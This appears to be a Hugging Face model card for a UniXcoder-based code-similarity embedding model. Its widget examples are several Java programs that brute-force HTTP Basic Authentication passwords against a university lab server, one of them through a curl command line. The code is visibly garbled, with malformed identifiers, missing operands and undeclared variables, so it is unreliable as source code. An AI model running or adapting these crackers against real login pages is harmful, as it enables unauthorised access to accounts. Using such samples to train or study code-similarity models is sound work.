metadata
tags:
- sentence-transformers
- sentence-similarity
- feature-extraction
- generated_from_trainer
- dataset_size:33411
- loss:BatchAllTripletLoss
base_model: microsoft/unixcoder-base-unimodal
widget:
- source_sentence: |
package java.httputils;
import java.util.ArrayList;
import java.util.Collection;
import java.util.Iterator;
import java.util.Observable;
import java.util.Observer;
public class BruteForceThreadPool extends ThreadGroup implements Observer
{
protected String URL = "http://localhost:8080/secret/index.html";
protected int poolSize = 6;
protected Collection threadList = new ArrayList();
protected String fileName = "BruteForceReport.txt";
protected boolean finished = false;
protected String userName = "";
public BruteForceThreadPool(String name)
{
super(name);
}
public BruteForceThreadPool(ThreadGroup parent, String name)
{
super(parent, name);
}
public synchronized void update(Observable o, Object arg)
{
System.out.println("Update method called the observer.");
RunnableBruteForce rbf = (RunnableBruteForce) o;
rbf.createReport();
for (Iterator iter = threadList.iterator(); iter.hasNext();)
{
RunnableBruteForce target = (RunnableBruteForce) iter.next();
target.setStop(true);
}
finished = true;
}
protected void start(int threads)
{
int load = BruteForce.letters.length / threads;
int remainder = BruteForce.letters.length % threads;
for (int i = 0, end = ( + load);
end < BruteForce.letters.length;
i = end, end += load)
{
RunnableBruteForce runnable = new RunnableBruteForce();
runnable.setURL(getURL());
runnable.setRangeStart();
runnable.setUserName(userName);
runnable.setRangeEnd(
end + load > BruteForce.letters.length ?
BruteForce.letters.length :
end);
runnable.addObserver(this);
runnable.setFileName(getFileName());
threadList.add(runnable);
}
for (Iterator iter = threadList.iterator(); iter.hasNext();)
{
RunnableBruteForce target = (RunnableBruteForce) iter.next();
new Thread(target).start();
}
}
public static void main(String[] args)
{
BruteForceThreadPool pool = new BruteForceThreadPool("BruteForceThreadGroup");
if (args.length < 4)
{
pool.printUsage();
return;
}
pool.setURL(args[0]);
pool.userName = args[1];
pool.setFileName(args[2]);
pool.get(Integer.parseInt(args[3]));
while (true)
{
try
{
Thread.currentThread().sleep(100);
if (pool.finished)
{
break;
}
}
catch (InterruptedException e)
{
e.printStackTrace();
}
}
System.exit(0);
}
public String printUsage()
{
StringBuffer s = new StringBuffer();
s.append("** BruteForceThreadPool proper usage **\n\n");
s.append(
"java ..httputils.BruteForceThreadPool <URL> <UserName> <OutputFile> < Of Threads = 6>\n\n");
return s.toString();
}
public Collection getThreadList()
{
return threadList;
}
public void setThreadList(Collection collection)
{
threadList = collection;
}
public String getFileName()
{
return fileName;
}
public void setFileName(String string)
{
fileName = string;
}
public String getURL()
{
return URL;
}
public void setURL(String string)
{
URL = string;
}
public int getPoolSize()
{
return poolSize;
}
public void setPoolSize(int i)
{
poolSize = i;
}
}
sentences:
- "\n\nimport java.net.*;\nimport java.io.IOException;\nimport java.util.*;\nimport java.io.*;\npublic class BruteForce {\n \n \n \n String passwordLetters[] ={\"a\",\"b\",\"c\",\"d\",\"e\",\"f\",\"g\",\"h\",\"i\",\"j\",\"k\",\"l\",\"m\",\"n\",\"o\",\"p\",\"q\",\"r\",\"s\",\"t\",\"u\",\"v\",\"w\",\"x\",\"y\",\"z\",\"A\",\"B\",\"C\",\"D\",\"E\",\"F\",\"G\",\"H\",\"I\",\"J\",\"K\",\"L\",\"M\",\"N\",\"O\",\"P\",\"Q\",\"R\",\"S\",\"T\",\"U\",\"V\",\"W\",\"X\",\"Y\",\"Z\"};\n String password=\" \";\n static int counter;\n static int noOfAttempts;\n static String userName=\"\";\n HttpURLConnection u;\n boolean threadF,threadM;\n String passBase64;\n \n PasswordCrackThreadF passwordCrackThreadF;\n PasswordCrackThreadM passwordCrackThreadM;\n URL url;\n \n \n public BruteForce() {\n breakPassword();\n }\n\n public static void main (String args[]) {\n new BruteForce();\n }\n \n \n \n private void breakPassword() {\n int j;\n \n breakOneLetterPassword();\n \n breakTwoLetterPassword();\n \n \n \n\n passwordCrackThreadF = new PasswordCrackThreadF(0,26,counter++,passwordLetters,userName,this);\n \n passwordCrackThreadM = new PasswordCrackThreadM(26,52,counter++,passwordLetters,userName,this);\n \n passwordCrackThreadF.print();\n passwordCrackThreadM.print();\n }\n \n \n private void breakOneLetterPassword() { \n MyHttpURLConnection httpURLConnection;\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n \n loop: for (int i=0;i<52;i++) {\n password = passwordLetters[i];\n\t\t \n\t\t password =\":\"+ password;\n try {\n \n\t \t u= (HttpURLConnection)url.openConnection();\n\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t u.connect();\t\n\t\t noOfAttempts++; \n\t\t if (u.getContentLength() != 0) {\n\t\t \n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) {\n\t\t \n\t System.out.println (\"Your User Name : Password is \"+password);\n\t\t\t\t System.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t \n\t\t\t System.exit(0);\n \n\t }\n\t\t }\n\t\t } catch (ProtocolException px) {px.printStackTrace();\n \n } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\t }\n } \n }\n \n \n private void breakTwoLetterPassword() { \n MyHttpURLConnection httpURLConnection; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u = (HttpURLConnection)url.openConnection();\n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n } catch (IOException io) {io.printStackTrace();}\n\n \n loop: for (int i=0;i<52;i++) {\n for (int j=0;j<52;j++) {\n password = passwordLetters[i]+passwordLetters[j];\n\t\t \n\t\t password =\":\"+ password;\n\t\t \n\t\t \n\t \n try {\n\t\t u= (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\tu.connect();\n\t\t\tnoOfAttempts++;\n\t\t\t\n \t if (u.getContentLength() != 0) {\n\t\t if (u.getResponseCode()== HttpURLConnection.HTTP_OK ) {\n\t System.out.println (\"Your User Name : Password is \"+password); \n\t\t\t System.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ noOfAttempts);\n\t\t\t \n\t\t\t System.exit(0);\n\t }\n\t\t }\n\t\t \n\t\t\n\t } catch (ProtocolException px) {px.printStackTrace();\n } catch ( NoRouteToHostException nr) {nr.printStackTrace();\n\t } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t \n\t } finally {u.disconnect();\n\t }\n } \n }\n\n\n }\n}\n\nclass PasswordCrackThreadF extends Thread {\n \n \n \n private String passwordLetters[] ;\n private String password=\" \";\n private static String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n private URL url;\n \n BruteForce bruteForce;\n int count; \n String passBase64;\n private HttpURLConnection u;\n \n int start,stop;\n \n static boolean found;\n \n PasswordCrackThreadF(int start,int stop,int counter,String[]\n passwordLetters,String userName,BruteForce bruteForce) {\n this.start = start;\n this.stop = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n count =counter;\n this.bruteForce=bruteForce; \n bruteForce.threadF=true;\n\t\n \n passBase64 = new bruteForce.misc.BASE64Encoder().encode(password.getBytes());\n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n\n\t u = (HttpURLConnection)url.openConnection();\n \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n \t password =\":\"+ password;\n\t\t\t \n\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadF)) {\n\t\t\t try { wait(1); }\n\t\t\t catch (InterruptedException e){}\n\t\t\t } \n\t\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n try { \n\t\t\t u = (HttpURLConnection)url.openConnection();\n\t\t\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t \n\n\t\t\t\n u.connect();\n\t\t\t\t\n\t\t BruteForce.noOfAttempts++;\n\n\t\t if (u.getContentLength() != 0) {\n\n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User Name : Password is \"+password+ \n\t\t \" \"+ \" Found by Thread \"+count);\n\t\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n\t\t\t\t \t \n \t\t System.exit(0);\n\n\t }\n\t\t }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException px) {px.printStackTrace();\n } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=false;\n\t\t\t bruteForce.threadM=true;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n}\n\n\nclass PasswordCrackThreadM extends Thread {\n \n \n \n private String passwordLetters[] ;\n private String password=\" \";\n private static String userName=\"\";\n private MyHttpURLConnection httpURLConnection;\n private URL url;\n String passBase64;\n private URLAuthenticator urlAuthenticator = new URLAuthenticator(userName);\n BruteForce bruteForce;\n int count; \n private HttpURLConnection u;\n \n int start,stop;\n \n static boolean found;\n \n \n \n PasswordCrackThreadM(int start,int stop,int counter,String[]\n passwordLetters,String userName,BruteForce bruteForce) {\n this.start = start;\n this.stop = stop;\n this.passwordLetters =passwordLetters;\n this.userName=userName;\n count =counter;\n this.bruteForce=bruteForce; \n try {\n\t \n\t url = new URL( \"http://sec-crack.cs.rmit.edu./SEC/2/index.php\");\n\t \n u = (HttpURLConnection)url.openConnection();\n\t passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n \n\t u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\n\t \n\n\t \n\t \n\n } catch (IOException io) {io.printStackTrace();}\n\n }\n \n public synchronized void run() {\n \n outer : for (int i=0; i<stop;i++) {\n for (int j=0;j<52;j++) {\n for (int k=0;k<52;k++) {\n password = passwordLetters[i]+passwordLetters[j]+passwordLetters[k];\n \t password=\":\"+password;\n\t\t\t\n\t \n\t\t\t\n\t\t\t\n\t\t\t while (!(bruteForce.threadM)) {\n\t\t\t try { wait(1); }\n\t\t\t catch (InterruptedException e){}\n\t\t\t }\n\t\t\t \n\t\t\t \n\t\t\t if (found)\n\t\t\t System.exit(0);\n try { u = (HttpURLConnection)url.openConnection();\n\t\t\t \n passBase64 = new url.misc.BASE64Encoder().encode(password.getBytes());\n u.setRequestProperty(\"Authorization\", \" \" + passBase64);\n\t\t\t \n\n\t\t\t\n u.connect();\n BruteForce.noOfAttempts++;\n\t\t \n\t\t if (u.getContentLength() != 0) {\n\t\t\t \n\t\t if (u.getResponseCode() == HttpURLConnection.HTTP_OK ) {\n\t\t\t\t found=true;\n\t\t\t\t \n\t\t\t\t \n\t\t\t\t\t\n\t\t\t\t\t \n\t\t\t\t\t\n\t\t System.out.println (\"Your User Name : Password is \"+password+ \n\t\t \" \"+ \" Found by Thread \"+count);\n\t\t\t\t \t \n\t\t\t\t\t \n\t\t\t\t\tSystem.out.println(\" \");\n\t\t\t System.out.println(\" of Attempts / Requests \"+ BruteForce.noOfAttempts);\n \t\t System.exit(0);\n\n\t }\n\t\t }\n\t\t \n\t\t \t\t \n\t } catch (ProtocolException px) {px.printStackTrace();\n } catch ( NoRouteToHostException nr){k--; \n\t\t\t nr.printStackTrace();\n } catch (BindException e){e.printStackTrace();\n\t } catch (IndexOutOfBoundsException e3){e3.printStackTrace();\n\t } catch (IOException io) {io.printStackTrace();\n\t\t\t \n\t } finally {u.disconnect();\n\t }\n\t\t\t bruteForce.threadF=true;\n\n\t\t\t \n\t\t\t bruteForce.threadM=false;\n\t\t\t\n\t\t\t notifyAll();\n\t\t\t\n }\n\t\t \n }\n System.out.println(\"End\");\n }\n }\n}\n\n\n\n\n\n\n\nclass URLAuthenticator extends Authenticator {\n private String uName;\n String passwd;\n static char[] password;\n public URLAuthenticator(String uName) {\n\n this.uName = uName;\n }\n\n public void setPassword(String passwd) {\n\n\t this.passwd=passwd;\n\t password=passwd.toCharArray();\n\n }\n \n public PasswordAuthentication getPasswordAuthentication() {\n\n\t\n \t\n\t\n\treturn new PasswordAuthentication(uName,password);\n }\n\n}\n\n\n\n\n \n\nclass MyHttpURLConnection extends HttpURLConnection {\n public MyHttpURLConnection(URL url) {\n super(url);\n }\n public void disconnect() {\n }\n\n public boolean usingProxy() {\n return true;\n }\n public void connect() {\n }\n\n}\n\n"
- "\nimport java.io.*;\nimport java.util.*;\nimport java.text.*;\nimport java.net.*;\n\n\n\npublic class BruteForce \n{\n \n \n \n private int consonantUpperBound = CrackingConstants.consonantUpperBound;\n private int consonantLowerBound = CrackingConstants.consonantLowerBound;\n private int vowelUpperBound = CrackingConstants.vowelUpperBound;\n private int vowelLowerBound = CrackingConstants.vowelLowerBound;\n \n \n \n \n private int verbose = CrackingConstants.quietMode;\n private int scanType = CrackingConstants.casedScan;\n\n private int passwordsTried = 0;\n \n\t\n\t\n\tpublic static void main(String args[])\n\t{\n\t\t int tStart;\n\t\t int tFinish;\n \t\tDateFormat longTimestamp = DateFormat.getDateTimeInstance(DateFormat.FULL, DateFormat.FULL);\n\t \n\t BruteForce pwForcer = new BruteForce();\n\n\t if(args.length > 0)\n\t {\n\t for(int i = 0; i < args.length; i++)\n\t {\n \t\tif((args[i].indexOf(\"-h\") > -1) || (args[i].indexOf(\"-H\") > -1))\n \t\t {\n \t\t\tSystem.out.println(\"\\n-s -S\\tonly tests lower passwords.\");\n \t\t\tSystem.out.println(\"\\n-v\\tprints the patterns as tried.\");\n \t\t\tSystem.out.println(\"-V\\tprints out the patterns and the passwords as generated. \\n\\tThis option slows the program considerably.\\n\");\n \t\t\treturn;\n \t\t }\t\n \t\telse if(args[i].indexOf(\"-v\") > -1) \n \t\t pwForcer.verbose = CrackingConstants.verboseMode1;\n \t\telse if(args[i].indexOf(\"-V\") > -1)\n \t\t pwForcer.verbose = CrackingConstants.verboseMode2;\n \t\telse if((args[i].indexOf(\"-s\") > -1) || (args[i].indexOf(\"-S\") > -1))\n \t\t pwForcer.scanType = CrackingConstants.simpleScan;\n\t\t }\n\t }\n\n \n\t System.out.println(\"\\n\\n********************************\\n\");\n\t\tSystem.out.println(\"Starting brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\t\tif(args.length > 0)\n\t\t{\n\t\t\tString arguments = \"\";\n\t\t\tfor( i =0; i < args.length; i++)\n\t\t\t\targuments += args[i] + \" \";\n\t\t\tSystem.out.println(\"\\nOptions: \" + arguments + \"\\n\");\n\t\t}\n\t\tif(pwForcer.scanType == CrackingConstants.simpleScan)\n \t System.out.println(\"Only lower passwords tried.\");\n \telse\n \t System.out.println(\"Both lower and upper passwords tried.\");\n\t System.out.println(\"\\n********************************\\n\");\n\n\t tStart = System.currentTimeMillis();\n\t pwForcer.run();\n\t tFinish = System.currentTimeMillis();\n\t \n if (pwForcer.scanType == CrackingConstants.casedScan)\n {\n\t \n \t \n\t \n\t \n\t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of a possible \" + (26 * 26 * 26 * 8) + \")\");\n\t System.out.println (\"That is \" + pwForcer.passwordsTried/8 + \" unique three letter combinations were tried (out of a possible \" + (26 * 26 * 26) + \")\");\n }\n else\n {\n \t System.out.println (\"\\n\\n\" + pwForcer.passwordsTried + \" passwords were generated (out of a possible \" + (26 * 26 * 26) + \")\\n\");\n }\n \n\t \n\t System.out.println(\"\\n********************************\\n\");\n\t\tSystem.out.println(\"Finished brute force run at \" + \n\t\t longTimestamp.format(new Date()));\n\t\tSystem.out.println(\"Time taken: \" + ((tFinish - tStart)/1000) + \" seconds\");\n\t System.out.println(\"\\n********************************\");\n\t} \n\n\t\n public BruteForce()\n {\n } \n\n\t\n private void run()\n {\n \n \n leftIndex = 0;\n midIndex = 0;\n rightIndex = 0;\n \n \n\t\t\n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying stutters (AAA, aaa, etc.)\");\n for( i = vowelLowerBound; i <= consonantUpperBound; i++)\n {\n leftIndex = i;\n midIndex = i;\n rightIndex = i;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-consonant patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-vowel-vowel patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-vowel patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-consonant-consonant patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying vowel-vowel-consonant patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying consonant-consonant-vowel patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying remaining vowel-vowel-vowel patterns.\");\n for(leftIndex = vowelLowerBound; leftIndex <= vowelUpperBound; leftIndex++)\n for(midIndex = vowelLowerBound; midIndex <= vowelUpperBound; midIndex++)\n for (rightIndex = vowelLowerBound; rightIndex <= vowelUpperBound; rightIndex++)\n if((leftIndex == midIndex) && (leftIndex == rightIndex))\n {\n \n }\n else\n {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n }\n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying remaining consonant-consonant-consonant patterns.\");\n for(leftIndex = consonantLowerBound; leftIndex <= consonantUpperBound; leftIndex++)\n for(midIndex = consonantLowerBound; midIndex <= consonantUpperBound; midIndex++)\n for (rightIndex = consonantLowerBound; rightIndex <= consonantUpperBound; rightIndex++)\n if((leftIndex == midIndex) && (leftIndex == rightIndex))\n {\n \n }\n else\n {\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n }\n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying monographs (A, a, etc.)\");\n for ( i = 0; i <= consonantUpperBound; i++)\n {\n leftIndex = i;\n midIndex = -1;\n rightIndex = -1;\n if(tryLogin(leftIndex, midIndex, rightIndex))\n return;\n }\n \n \n \n \tif(verbose > CrackingConstants.quietMode)\n \t System.out.println(\"Trying bigraphs (AA, aa, etc.)\");\n for( i = 0; i <= consonantUpperBound; i++)\n {\n \tfor( j = 0; j <= consonantUpperBound; j++)\n \t{\n \tleftIndex = i;\n \tmidIndex = j;\n \t rightIndex = -1;\n \t if(tryLogin(leftIndex, midIndex, rightIndex))\n\t return;\n }\n }\n \n return;\n } \n\n\t\n private boolean tryLogin( int leftIndex, int midIndex, int rightIndex)\n {\n \n LoginAttempt login = new LoginAttempt();\n LoginAttemptResults results = new LoginAttemptResults();\n\n \n CasePasswords casedPasswords = new CasePasswords(verbose);\n\n \n \n String tail = \"\";\n\n results = login.tryPasswords(casedPasswords.createCasedPasswords(leftIndex, midIndex, rightIndex, tail, CrackingConstants.lowerChars, CrackingConstants.upperChars, scanType), passwordsTried);\n passwordsTried = results.getPasswordsTried();\n return results.getSuccess();\n }\n \n} \n"
- |
public class HoldSharedData
{
private int numOfConnections = 0;
private int startTime;
private int totalTime = 0;
private String[] password;
private int pwdCount;
public HoldSharedData( int time, String[] pwd, int count )
{
startTime = time;
password = pwd;
pwdCount = count;
}
public int getPwdCount()
{
return pwdCount;
}
public void setNumOfConnections( )
{
numOfConnections ++;
}
public int getNumOfConnections()
{
return numOfConnections;
}
public int getStartTime()
{
return startTime;
}
public void setTotalTime( int newTotalTime )
{
totalTime = newTotalTime;
}
public int getTotalTime()
{
return totalTime;
}
public String getPasswordAt( int index )
{
return password[index];
}
}
- source_sentence: "\n\nimport java.io.*;\nimport java.*;\nimport java.net.*;\nimport java.util.*;\n\npublic class BruteForce {\n public static void main (String[] args) throws IOException {\n BufferedReader stdin = new BufferedReader (new InputStreamReader(System.in));\n\n int start = new Date().getTime();\n String[] letters = {\"a\",\"A\",\"b\",\"B\",\"c\",\"C\",\"d\",\"D\",\"e\",\"E\",\"f\",\"F\",\"g\",\"G\",\n \"h\",\"H\",\"i\",\"I\",\"j\",\"J\",\"k\",\"K\",\"l\",\"L\",\"m\",\"M\",\"n\",\"N\",\n\t\t\t \"o\",\"O\",\"p\",\"P\",\"q\",\"Q\",\"r\",\"R\",\"s\",\"S\",\"t\",\"T\",\"u\",\"U\",\n\t\t\t \"v\",\"V\",\"w\",\"W\",\"x\",\"X\",\"y\",\"Y\",\"z\",\"Z\"};\n int len = 52;\n int total = 52;\n String[] cad = new String[total];\n int t=0;\n \n for (int i=0;i<=len-1;i++){\n\t cad[t] = letters[i];\n\t t++;\n } \n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n\t cad[t] = letters[j]+letters[i];\n\t t++;\n }}\n for (int i=0;i<=len-1;i++){\n for (int j=0;j<=len-1;j++){\n for (int k=0;k<=len-1;k++){\n\t cad[t] = letters[k]+letters[j]+letters[i];\n\t t++;\n }}}\n \n int response = 0;\n for (t=0;t<=total-1;t++){\n String uname = \"\";\n String userinfo = uname + \":\" + cad[t];\n try{\n String encoding = new url.misc.BASE64Encoder().encode (userinfo.getBytes());\n URL url = new URL(\"http://sec-crack.cs.rmit.edu./SEC/2/\");\n HttpURLConnection uc = (HttpURLConnection)url.openConnection();\n uc.setRequestProperty (\"Authorization\", \" \" + encoding);\n response = uc.getResponseCode();\n\t if (response == 200) break;\n\t else uc.disconnect();\n }\n catch(IOException e){ System.err.println(e); e.printStackTrace(); } \n catch(IllegalStateException s){ System.err.println(s); s.printStackTrace(); }\n }\n System.out.println(\"Response \"+t+\" was \"+response);\n System.out.println(\"The successful password was \"+cad[t]);\n finish = new Date().getTime();\n float totaltime = (float)(finish-start)/1000;\n System.out.println(\"Total time: \"+totaltime+\" seconds\");\n }\n}\n\n"
sentences:
- "\n\nclass WebPage\n{\n \n \n private boolean success = false;\n \n private String pageContents= \"\";\n \n\n\t\n public WebPage()\n {\n }\n \n\t\n public void setSuccess (boolean inSuccess)\n {\n success = inSuccess;\n }\n \n\t\n public boolean getSuccess()\n {\n return success;\n }\n \n\t\n public void setPageContents (String inPage)\n {\n pageContents = inPage;\n }\n \n\t\n public String getPageContents()\n {\n return pageContents;\n }\n} \n"
- "\nimport java.util.*;\n\n\npublic class Cracker\n{\n private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};\n private Vector v;\n\n public Cracker()\n {\n v = new Vector( 52);\n }\n public void loadLetters()\n {\n int i;\n\n for( i = 0; i < letters.length; i++)\n {\n\t String s = new StringBuffer().append( letters[i]).toString();\n v.add( s);\n }\n }\n public Vector getVictor()\n {\n return ;\n }\n public void loadPairs()\n {\n int i,j;\n\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n {\n String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();\n\t String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();\n\t v.add( s1);\n\t v.add( s2);\n\t }\n }\n for( i = 0; i < letters.length; i++)\n {\n String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();\n\t v.add( s3);\n }\n }\n public void loadTriples()\n {\n int i, j, k;\n \n for( i = 0; i < letters.length; i++)\n {\n String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();\n\t v.add( s4);\n }\n for( i = 0; i < letters.length - 1; i++)\n {\n for( j = i + 1; j < letters.length; j++)\n\t {\n\t String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();\n\t String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();\n\t String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();\n\t String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();\n\t String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();\n\t String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();\n\t v.add( s5);\n\t v.add( s6);\n\t v.add( s7);\n\t v.add( s8);\n\t v.add( s9);\n\t v.add( s10);\n\t }\n }\n for( i = 0; i < letters.length - 2; i++)\n {\n for( j = i + 1; j < letters.length - 1; j++)\n\t {\n\t for( k = i + 2; k < letters.length; k++)\n\t {\n\t String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();\n\t String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();\n\t String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();\n\t String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();\n\t String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();\n\t String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();\n\t v.add( s11);\n\t v.add( s12);\n\t v.add( s13);\n\t v.add( s14);\n\t v.add( s15);\n\t v.add( s16);\n\t }\n\t }\n }\n }\n \n public static void main( String[] args)\n {\n Cracker cr = new Cracker();\n cr.loadLetters();\n cr.loadPairs();\n cr.loadTriples();\n System.out.println(\" far \"+cr.getVictor().size()+\" elements loaded\");\n }\n}\n \n"
- |
import java.net.*;
import java.io.*;
import java.String;
import java.*;
import java.util.*;
public class BruteForce {
private static final int passwdLength = 3;
private static String commandLine
= "curl http://sec-crack.cs.rmit.edu./SEC/2/index.php -I -u :";
private String chars = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
private int charLen = chars.length();
private int n = 0;
private int n3 = charLen*charLen*charLen;
private String response;
private String[] password = new String[charLen*charLen*charLen+charLen*charLen+charLen];
private char[][] data = new char[passwdLength][charLen];
private char[] pwdChar2 = new char[2];
private char[] pwdChar = new char[passwdLength];
private String url;
private int startTime;
private int endTime;
private int totalTime;
private float averageTime;
private boolean finish;
private Process curl;
private BufferedReader bf, responseLine;
public BruteForce() {
first();
finish = true;
charLen = chars.length();
for(int i=0; i<charLen; i++)
for(int j=0; j<passwdLength; j++)
{
data[j][i] = chars.charAt(i);
}
Runtime run = Runtime.getRuntime();
n = 0;
for(int i=0; i<charLen; i++)
{
password[n++] = chars.substring(i,i+1);
}
for(int j=0; j<charLen; j++)
